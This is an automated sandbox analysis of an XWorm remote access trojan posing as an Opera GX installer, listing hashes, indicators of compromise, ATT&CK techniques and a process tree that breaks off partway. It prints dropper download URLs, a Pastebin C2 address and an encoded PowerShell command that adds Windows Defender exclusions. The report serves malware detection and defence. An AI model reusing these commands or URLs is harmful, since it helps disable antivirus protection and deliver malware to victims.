xworm | e0176bf1acaea751b8d442619caa6959fcd9c4887e5d683f00bbe8a2354d1a47

Analysis

max time kernel
6s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
06/03/2025, 17:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

OperaGXSetup.exe
Size

3.9MB
MD5

331950dc665052789dc9fcb607cc10af
SHA1

8d1844ecd27a34256f5a87721c871de3ce8d86a3
SHA256

e0176bf1acaea751b8d442619caa6959fcd9c4887e5d683f00bbe8a2354d1a47
SHA512

a0af358f927789c55ce583e6949bca0fe5b7fcb7ba3b18e56854ea81576dd8630fb1d3b4147b140d75800bb24291d00767dfc1e49441c9cb643fdf917c1a034c
SSDEEP

98304:FbTeX1UoBvNOXAsA9wsS9w8dinuqwpMMvcVUwf:FePZNOXDAyLw5NwKUw

Score

10^/10

xworm defense_evasion discovery execution rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes

Install_directory
%port%
install_file
svchost.exe
pastebin_url
https://pastebin.com/raw/J42c6s7r

Signatures

Detect Xworm Payload 55 IoCs

resource	yara_rule
behavioral2/files/0x000b000000023b6e-4.dat	family_xworm
behavioral2/memory/1028-12-0x0000000000220000-0x0000000000234000-memory.dmp	family_xworm
behavioral2/memory/6408-2286-0x0000000000090000-0x00000000000A4000-memory.dmp	family_xworm
behavioral2/memory/900-2319-0x0000000000080000-0x0000000000094000-memory.dmp	family_xworm
behavioral2/memory/5712-2350-0x00000000007A0000-0x00000000007B4000-memory.dmp	family_xworm
behavioral2/memory/2120-2384-0x00000000005D0000-0x00000000005E4000-memory.dmp	family_xworm
behavioral2/memory/4016-2443-0x00000000001E0000-0x00000000001F4000-memory.dmp	family_xworm
behavioral2/memory/684-2463-0x00000000002D0000-0x00000000002E4000-memory.dmp	family_xworm
behavioral2/memory/780-2502-0x0000000000420000-0x0000000000434000-memory.dmp	family_xworm
behavioral2/memory/488-2540-0x0000000000590000-0x00000000005A4000-memory.dmp	family_xworm
behavioral2/memory/6088-2559-0x0000000000160000-0x0000000000174000-memory.dmp	family_xworm
behavioral2/memory/5624-2584-0x0000000000250000-0x0000000000264000-memory.dmp	family_xworm
behavioral2/memory/2960-2646-0x0000000000A30000-0x0000000000A44000-memory.dmp	family_xworm
behavioral2/memory/2816-2675-0x00000000004F0000-0x0000000000504000-memory.dmp	family_xworm
behavioral2/memory/2432-2704-0x0000000000B30000-0x0000000000B44000-memory.dmp	family_xworm
behavioral2/memory/4860-2734-0x0000000000540000-0x0000000000554000-memory.dmp	family_xworm
behavioral2/memory/4836-2928-0x0000000000A90000-0x0000000000AA4000-memory.dmp	family_xworm
behavioral2/memory/8040-2954-0x0000000000140000-0x0000000000154000-memory.dmp	family_xworm
behavioral2/memory/4200-3133-0x0000000000120000-0x0000000000134000-memory.dmp	family_xworm
behavioral2/memory/3428-3267-0x0000000000E70000-0x0000000000E84000-memory.dmp	family_xworm
behavioral2/memory/6908-3290-0x0000000000720000-0x0000000000734000-memory.dmp	family_xworm
behavioral2/memory/8084-3328-0x00000000003A0000-0x00000000003B4000-memory.dmp	family_xworm
behavioral2/memory/4524-3355-0x0000000000B30000-0x0000000000B44000-memory.dmp	family_xworm
behavioral2/memory/7896-3387-0x0000000000C30000-0x0000000000C44000-memory.dmp	family_xworm
behavioral2/memory/3548-3472-0x0000000000420000-0x0000000000434000-memory.dmp	family_xworm
behavioral2/memory/6732-3502-0x0000000000ED0000-0x0000000000EE4000-memory.dmp	family_xworm
behavioral2/memory/2536-3589-0x0000000000080000-0x0000000000094000-memory.dmp	family_xworm
behavioral2/memory/7812-3600-0x0000000000520000-0x0000000000534000-memory.dmp	family_xworm
behavioral2/memory/3216-3671-0x0000000000B60000-0x0000000000B74000-memory.dmp	family_xworm
behavioral2/memory/5164-3712-0x0000000000A20000-0x0000000000A34000-memory.dmp	family_xworm
behavioral2/memory/5252-3733-0x00000000000F0000-0x0000000000104000-memory.dmp	family_xworm
behavioral2/memory/4536-3763-0x0000000000C10000-0x0000000000C24000-memory.dmp	family_xworm
behavioral2/memory/6124-3855-0x00000000006B0000-0x00000000006C4000-memory.dmp	family_xworm
behavioral2/memory/7824-3875-0x0000000000420000-0x0000000000434000-memory.dmp	family_xworm
behavioral2/memory/6752-3896-0x0000000000160000-0x0000000000174000-memory.dmp	family_xworm
behavioral2/memory/8108-3974-0x00000000001F0000-0x0000000000204000-memory.dmp	family_xworm
behavioral2/memory/4764-4028-0x00000000008C0000-0x00000000008D4000-memory.dmp	family_xworm
behavioral2/memory/3648-4049-0x0000000000880000-0x0000000000894000-memory.dmp	family_xworm
behavioral2/memory/5980-4078-0x0000000000830000-0x0000000000844000-memory.dmp	family_xworm
behavioral2/memory/7392-4107-0x0000000000AA0000-0x0000000000AB4000-memory.dmp	family_xworm
behavioral2/memory/6084-4135-0x0000000000B10000-0x0000000000B24000-memory.dmp	family_xworm
behavioral2/memory/1080-4166-0x00000000004F0000-0x0000000000504000-memory.dmp	family_xworm
behavioral2/memory/2960-4261-0x0000000000490000-0x00000000004A4000-memory.dmp	family_xworm
behavioral2/memory/4248-4311-0x0000000000C90000-0x0000000000CA4000-memory.dmp	family_xworm
behavioral2/memory/6260-4338-0x0000000000C90000-0x0000000000CA4000-memory.dmp	family_xworm
behavioral2/memory/7560-4368-0x0000000000250000-0x0000000000264000-memory.dmp	family_xworm
behavioral2/memory/6752-4455-0x0000000000540000-0x0000000000554000-memory.dmp	family_xworm
behavioral2/memory/4524-4559-0x00000000003B0000-0x00000000003C4000-memory.dmp	family_xworm
behavioral2/memory/5404-4683-0x0000000000F40000-0x0000000000F54000-memory.dmp	family_xworm
behavioral2/memory/6020-4713-0x0000000000CF0000-0x0000000000D04000-memory.dmp	family_xworm
behavioral2/memory/7180-4770-0x00000000006D0000-0x00000000006E4000-memory.dmp	family_xworm
behavioral2/memory/6504-4798-0x00000000008F0000-0x0000000000904000-memory.dmp	family_xworm
behavioral2/memory/2944-4860-0x0000000000DE0000-0x0000000000DF4000-memory.dmp	family_xworm
behavioral2/memory/7716-4916-0x0000000000B00000-0x0000000000B14000-memory.dmp	family_xworm
behavioral2/memory/5044-4946-0x0000000000350000-0x0000000000364000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	5216	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5216	powershell.exe

Checks computer location settings 2 TTPs 13 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	Credential Guard & VBS Key Isolation.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	OperaGXSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	OperaGXSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	OperaGXSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	OperaGXSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	OperaGXSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	OperaGXSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	OperaGXSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	OperaGXSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	OperaGXSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	OperaGXSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	OperaGXSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	OperaGXSetup.exe

Executes dropped EXE 11 IoCs

pid	Process
1028	Credential Guard & VBS Key Isolation.exe
2588	Credential Guard & VBS Key Isolation.exe
1092	Credential Guard & VBS Key Isolation.exe
2984	Credential Guard & VBS Key Isolation.exe
384	Credential Guard & VBS Key Isolation.exe
4188	Credential Guard & VBS Key Isolation.exe
4200	Credential Guard & VBS Key Isolation.exe
3600	Credential Guard & VBS Key Isolation.exe
5516	Credential Guard & VBS Key Isolation.exe
3560	Credential Guard & VBS Key Isolation.exe
4564	Credential Guard & VBS Key Isolation.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 48 IoCs

Web Service

T1102

flow	ioc
68	pastebin.com
47	pastebin.com
16	pastebin.com
21	pastebin.com
55	pastebin.com
58	pastebin.com
59	pastebin.com
85	pastebin.com
9	raw.githubusercontent.com
17	pastebin.com
48	pastebin.com
51	pastebin.com
80	pastebin.com
90	pastebin.com
93	pastebin.com
98	pastebin.com
13	pastebin.com
14	pastebin.com
18	pastebin.com
52	pastebin.com
61	pastebin.com
73	pastebin.com
83	pastebin.com
97	pastebin.com
56	pastebin.com
72	pastebin.com
95	pastebin.com
39	pastebin.com
50	pastebin.com
60	pastebin.com
81	pastebin.com
84	pastebin.com
89	pastebin.com
96	pastebin.com
10	raw.githubusercontent.com
19	pastebin.com
25	pastebin.com
65	pastebin.com
82	pastebin.com
86	pastebin.com
88	pastebin.com
94	pastebin.com
20	pastebin.com
22	pastebin.com
87	pastebin.com
49	pastebin.com
57	pastebin.com
91	pastebin.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in Windows directory 12 IoCs

description	ioc	Process
File created	C:\Windows\Credential Guard & VBS Key Isolation.exe	OperaGXSetup.exe
File created	C:\Windows\Credential Guard & VBS Key Isolation.exe	OperaGXSetup.exe
File created	C:\Windows\Credential Guard & VBS Key Isolation.exe	OperaGXSetup.exe
File created	C:\Windows\Credential Guard & VBS Key Isolation.exe	OperaGXSetup.exe
File created	C:\Windows\Credential Guard & VBS Key Isolation.exe	OperaGXSetup.exe
File created	C:\Windows\Credential Guard & VBS Key Isolation.exe	OperaGXSetup.exe
File created	C:\Windows\Credential Guard & VBS Key Isolation.exe	OperaGXSetup.exe
File created	C:\Windows\Credential Guard & VBS Key Isolation.exe	OperaGXSetup.exe
File created	C:\Windows\Credential Guard & VBS Key Isolation.exe	OperaGXSetup.exe
File created	C:\Windows\Credential Guard & VBS Key Isolation.exe	OperaGXSetup.exe
File created	C:\Windows\Credential Guard & VBS Key Isolation.exe	OperaGXSetup.exe
File created	C:\Windows\Credential Guard & VBS Key Isolation.exe	OperaGXSetup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 23 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OperaGXSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OperaGXSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OperaGXSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OperaGXSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OperaGXSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OperaGXSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OperaGXSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OperaGXSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OperaGXSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OperaGXSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OperaGXSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OperaGXSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1544	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1444	schtasks.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
3536	powershell.exe
1320	powershell.exe
5404	powershell.exe
1320	powershell.exe
4948	powershell.exe
4948	powershell.exe
3536	powershell.exe
3536	powershell.exe
5404	powershell.exe
5404	powershell.exe
3240	powershell.exe
3240	powershell.exe
4572	powershell.exe
4572	powershell.exe
5216	powershell.exe
5216	powershell.exe
5216	powershell.exe
4948	powershell.exe
5616	powershell.exe
5616	powershell.exe
1848	powershell.exe
1848	powershell.exe
3240	powershell.exe
3240	powershell.exe
4696	powershell.exe
4696	powershell.exe
4572	powershell.exe
3200	powershell.exe
3200	powershell.exe
5616	powershell.exe
1848	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	1028	Credential Guard & VBS Key Isolation.exe
Token: SeDebugPrivilege	2588	Credential Guard & VBS Key Isolation.exe
Token: SeDebugPrivilege	1320	powershell.exe
Token: SeDebugPrivilege	3536	powershell.exe
Token: SeDebugPrivilege	1092	Credential Guard & VBS Key Isolation.exe
Token: SeDebugPrivilege	5404	powershell.exe
Token: SeDebugPrivilege	2984	Credential Guard & VBS Key Isolation.exe
Token: SeDebugPrivilege	4948	powershell.exe
Token: SeDebugPrivilege	384	Credential Guard & VBS Key Isolation.exe
Token: SeDebugPrivilege	3240	powershell.exe
Token: SeDebugPrivilege	4188	Credential Guard & VBS Key Isolation.exe
Token: SeDebugPrivilege	5216	powershell.exe
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeDebugPrivilege	4200	Credential Guard & VBS Key Isolation.exe
Token: SeDebugPrivilege	3600	Credential Guard & VBS Key Isolation.exe
Token: SeDebugPrivilege	5616	powershell.exe
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeDebugPrivilege	5516	Credential Guard & VBS Key Isolation.exe
Token: SeDebugPrivilege	3560	Credential Guard & VBS Key Isolation.exe
Token: SeDebugPrivilege	4696	powershell.exe
Token: SeDebugPrivilege	4564	Credential Guard & VBS Key Isolation.exe
Token: SeDebugPrivilege	3200	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1988 wrote to memory of 1320	1988	OperaGXSetup.exe	85
PID 1988 wrote to memory of 1320	1988	OperaGXSetup.exe	85
PID 1988 wrote to memory of 1320	1988	OperaGXSetup.exe	85
PID 1988 wrote to memory of 6008	1988	OperaGXSetup.exe	87
PID 1988 wrote to memory of 6008	1988	OperaGXSetup.exe	87
PID 1988 wrote to memory of 6008	1988	OperaGXSetup.exe	87
PID 1988 wrote to memory of 1028	1988	OperaGXSetup.exe	88
PID 1988 wrote to memory of 1028	1988	OperaGXSetup.exe	88
PID 6008 wrote to memory of 3536	6008	OperaGXSetup.exe	89
PID 6008 wrote to memory of 3536	6008	OperaGXSetup.exe	89
PID 6008 wrote to memory of 3536	6008	OperaGXSetup.exe	89
PID 6008 wrote to memory of 4268	6008	OperaGXSetup.exe	91
PID 6008 wrote to memory of 4268	6008	OperaGXSetup.exe	91
PID 6008 wrote to memory of 4268	6008	OperaGXSetup.exe	91
PID 6008 wrote to memory of 2588	6008	OperaGXSetup.exe	92
PID 6008 wrote to memory of 2588	6008	OperaGXSetup.exe	92
PID 4268 wrote to memory of 5404	4268	OperaGXSetup.exe	183
PID 4268 wrote to memory of 5404	4268	OperaGXSetup.exe	183
PID 4268 wrote to memory of 5404	4268	OperaGXSetup.exe	183
PID 4268 wrote to memory of 5032	4268	OperaGXSetup.exe	181
PID 4268 wrote to memory of 5032	4268	OperaGXSetup.exe	181
PID 4268 wrote to memory of 5032	4268	OperaGXSetup.exe	181
PID 4268 wrote to memory of 1092	4268	OperaGXSetup.exe	135
PID 4268 wrote to memory of 1092	4268	OperaGXSetup.exe	135
PID 5032 wrote to memory of 4948	5032	OperaGXSetup.exe	97
PID 5032 wrote to memory of 4948	5032	OperaGXSetup.exe	97
PID 5032 wrote to memory of 4948	5032	OperaGXSetup.exe	97
PID 5032 wrote to memory of 2936	5032	OperaGXSetup.exe	99
PID 5032 wrote to memory of 2936	5032	OperaGXSetup.exe	99
PID 5032 wrote to memory of 2936	5032	OperaGXSetup.exe	99
PID 5032 wrote to memory of 2984	5032	OperaGXSetup.exe	100
PID 5032 wrote to memory of 2984	5032	OperaGXSetup.exe	100
PID 1028 wrote to memory of 5216	1028	Credential Guard & VBS Key Isolation.exe	101
PID 1028 wrote to memory of 5216	1028	Credential Guard & VBS Key Isolation.exe	101
PID 2936 wrote to memory of 3240	2936	OperaGXSetup.exe	102
PID 2936 wrote to memory of 3240	2936	OperaGXSetup.exe	102
PID 2936 wrote to memory of 3240	2936	OperaGXSetup.exe	102
PID 2936 wrote to memory of 5376	2936	OperaGXSetup.exe	328
PID 2936 wrote to memory of 5376	2936	OperaGXSetup.exe	328
PID 2936 wrote to memory of 5376	2936	OperaGXSetup.exe	328
PID 2936 wrote to memory of 384	2936	OperaGXSetup.exe	194
PID 2936 wrote to memory of 384	2936	OperaGXSetup.exe	194
PID 5376 wrote to memory of 4572	5376	OperaGXSetup.exe	107
PID 5376 wrote to memory of 4572	5376	OperaGXSetup.exe	107
PID 5376 wrote to memory of 4572	5376	OperaGXSetup.exe	107
PID 5376 wrote to memory of 4292	5376	OperaGXSetup.exe	109
PID 5376 wrote to memory of 4292	5376	OperaGXSetup.exe	109
PID 5376 wrote to memory of 4292	5376	OperaGXSetup.exe	109
PID 5376 wrote to memory of 4188	5376	OperaGXSetup.exe	110
PID 5376 wrote to memory of 4188	5376	OperaGXSetup.exe	110
PID 4292 wrote to memory of 5616	4292	OperaGXSetup.exe	111
PID 4292 wrote to memory of 5616	4292	OperaGXSetup.exe	111
PID 4292 wrote to memory of 5616	4292	OperaGXSetup.exe	111
PID 4292 wrote to memory of 2116	4292	OperaGXSetup.exe	299
PID 4292 wrote to memory of 2116	4292	OperaGXSetup.exe	299
PID 4292 wrote to memory of 2116	4292	OperaGXSetup.exe	299
PID 4292 wrote to memory of 4200	4292	OperaGXSetup.exe	341
PID 4292 wrote to memory of 4200	4292	OperaGXSetup.exe	341
PID 2116 wrote to memory of 1848	2116	OperaGXSetup.exe	115
PID 2116 wrote to memory of 1848	2116	OperaGXSetup.exe	115
PID 2116 wrote to memory of 1848	2116	OperaGXSetup.exe	115
PID 2116 wrote to memory of 2768	2116	OperaGXSetup.exe	116
PID 2116 wrote to memory of 2768	2116	OperaGXSetup.exe	116
PID 2116 wrote to memory of 2768	2116	OperaGXSetup.exe	116

C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
"C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
1⤵
- Checks computer location settings
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1988
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1320
- C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
  "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
  2⤵
  - Checks computer location settings
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:6008
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3536
- - C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
    3⤵
    - Checks computer location settings
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4268
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5404
  - - C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
      "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
      4⤵
      Checks computer location settings
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5032
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4948
    - - C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        5⤵
        Checks computer location settings
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2936
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3240
      - C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        6⤵
        Checks computer location settings
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5376
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4572
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        7⤵
        Checks computer location settings
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4292
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5616
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        8⤵
        Checks computer location settings
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2116
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
